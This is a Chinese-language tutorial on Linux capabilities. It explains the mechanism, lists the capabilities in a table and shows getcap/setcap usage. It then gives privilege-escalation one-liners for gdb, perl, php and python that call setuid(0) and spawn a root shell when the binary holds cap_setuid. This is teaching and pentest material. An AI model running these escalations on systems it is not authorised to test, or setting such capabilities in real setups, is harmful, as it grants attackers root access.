0x00 Capabilities入門
什么是Capabilities
Linux的Root用戶擁有最高的權限,可以對幾乎系統中的任何文件進行操作。然而普通用戶如何操作一些高權限的文件?
在Linux中存在兩種方法:
第一種是在執行的命令前加上sudo,這樣就會以Root的身份進行操作。
第二種方法是設置SUID或SGID,這樣雖然會以原用戶的身份進行操作,但是獲得了操作權限。
SUID和SGID存在安全隱患,因為某文件設置了之后普通用戶將會獲得廣范圍的操作權限。
為了避免這種安全隱患,Linux內核 2.2 之后引入了Capabilities機制。什么是Capabilities機制哪?
原理很簡單,就是將之前與超級用戶 root(UID=0)關聯的特權細分為不同的功能組,Capabilites 作為線程(Linux 並不真正區分進程和線程)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質上就是將內核調用分門別類,具有相似功能的內核調用被分到同一組中。
這樣一來,權限檢查的過程就變成了:在執行特權操作時,如果線程的有效身份不是 root,就去檢查其是否具有該特權操作所對應的 capabilities,並以此為依據,決定是否可以執行特權操作。
細分后的特權:
| capability名稱 | 描述 |
|---|---|
| CAPAUDITCONTROL | 啟用和禁用內核審計;改變審計過濾規則;檢索審計狀態和過濾規則 |
| CAPAUDITREAD | 允許通過 multicast netlink 套接字讀取審計日志 |
| CAPAUDITWRITE | 將記錄寫入內核審計日志 |
| CAPBLOCKSUSPEND | 使用可以阻止系統掛起的特性 |
| CAP_CHOWN | 修改文件所有者的權限 |
| CAPDACOVERRIDE | 忽略文件的 DAC 訪問限制 |
| CAPDACREAD_SEARCH | 忽略文件讀及目錄搜索的 DAC 訪問限制 |
| CAP_FOWNER | 忽略文件屬主 ID 必須和進程用戶 ID 相匹配的限制 |
| CAP_FSETID | 允許設置文件的 setuid 位 |
| CAPIPCLOCK | 允許鎖定共享內存片段 |
| CAPIPCOWNER | 忽略 IPC 所有權檢查 |
| CAP_KILL | 允許對不屬於自己的進程發送信號 |
| CAP_LEASE | 允許修改文件鎖的 FL_LEASE 標志 |
| CAPLINUXIMMUTABLE | 允許修改文件的 IMMUTABLE 和 APPEND 屬性標志 |
| CAPMACADMIN | 允許 MAC 配置或狀態更改 |
| CAPMACOVERRIDE | 忽略文件的 DAC 訪問限制 |
| CAP_MKNOD | 允許使用 mknod() 系統調用 |
| CAPNETADMIN | 允許執行網絡管理任務 |
| CAPNETBIND_SERVICE | 允許綁定到小於 1024 的端口 |
| CAPNETBROADCAST | 允許網絡廣播和多播訪問 |
| CAPNETRAW | 允許使用原始套接字 |
| CAP_SETGID | 允許改變進程的 GID |
| CAP_SETFCAP | 允許為文件設置任意的 capabilities |
| CAP_SETPCAP | 參考 capabilities man page |
| CAP_SETUID | 允許改變進程的 UID |
| CAPSYSADMIN | 允許執行系統管理任務,如加載或卸載文件系統、設置磁盤配額等 |
| CAPSYSBOOT | 允許重新啟動系統 |
| CAPSYSCHROOT | 允許使用 chroot() 系統調用 |
| CAPSYSMODULE | 允許插入和刪除內核模塊 |
| CAPSYSNICE | 允許提升優先級及設置其他進程的優先級 |
| CAPSYSPACCT | 允許執行進程的 BSD 式審計 |
| CAPSYSPTRACE | 允許跟蹤任何進程 |
| CAPSYSRAWIO | 允許直接訪問 /devport、/dev/mem、/dev/kmem 及原始塊設備 |
| CAPSYSRESOURCE | 忽略資源限制 |
| CAPSYSTIME | 允許改變系統時鍾 |
| CAPSYSTTY_CONFIG | 允許配置 TTY 設備 |
| CAP_SYSLOG | 允許使用 syslog() 系統調用 |
| CAPWAKEALARM | 允許觸發一些能喚醒系統的東西(比如 CLOCKBOOTTIMEALARM 計時器) |
Capabilities使用
查詢
getcap [路徑]
## 查詢全部
getcap -r / 2>/dev/null # -r 遞歸查詢 2>/dev/null 錯誤信息從定向到null
設置
## 多個Capabilities以分號划分
setcap [Capabilities名稱]=eip [路徑]
## 設置多個案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
設置時路徑要指定源文件,不可以是鏈接文件,如果報錯可以查看是不是路徑指定的為鏈接文件
刪除
setcap -r [路徑]
0x01 提權實例
setuid
通過setuid可以將進程執行用戶設置為root,以達到獲取root權限效果
gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
## -ex 執行命令
## gdb調用python debug調試;在shell中啟動python的命令為python2,在gdb中也為python
## -nx 不初始化腳本
-
無

-
有

perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
-
無

-
有

php
php -r "posix_setuid(0); system('/bin/sh');"
出現如下時

需要安裝php-posix
yum install php-posix
## centos中命令
- 無

- 有

python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
- 無

- 有

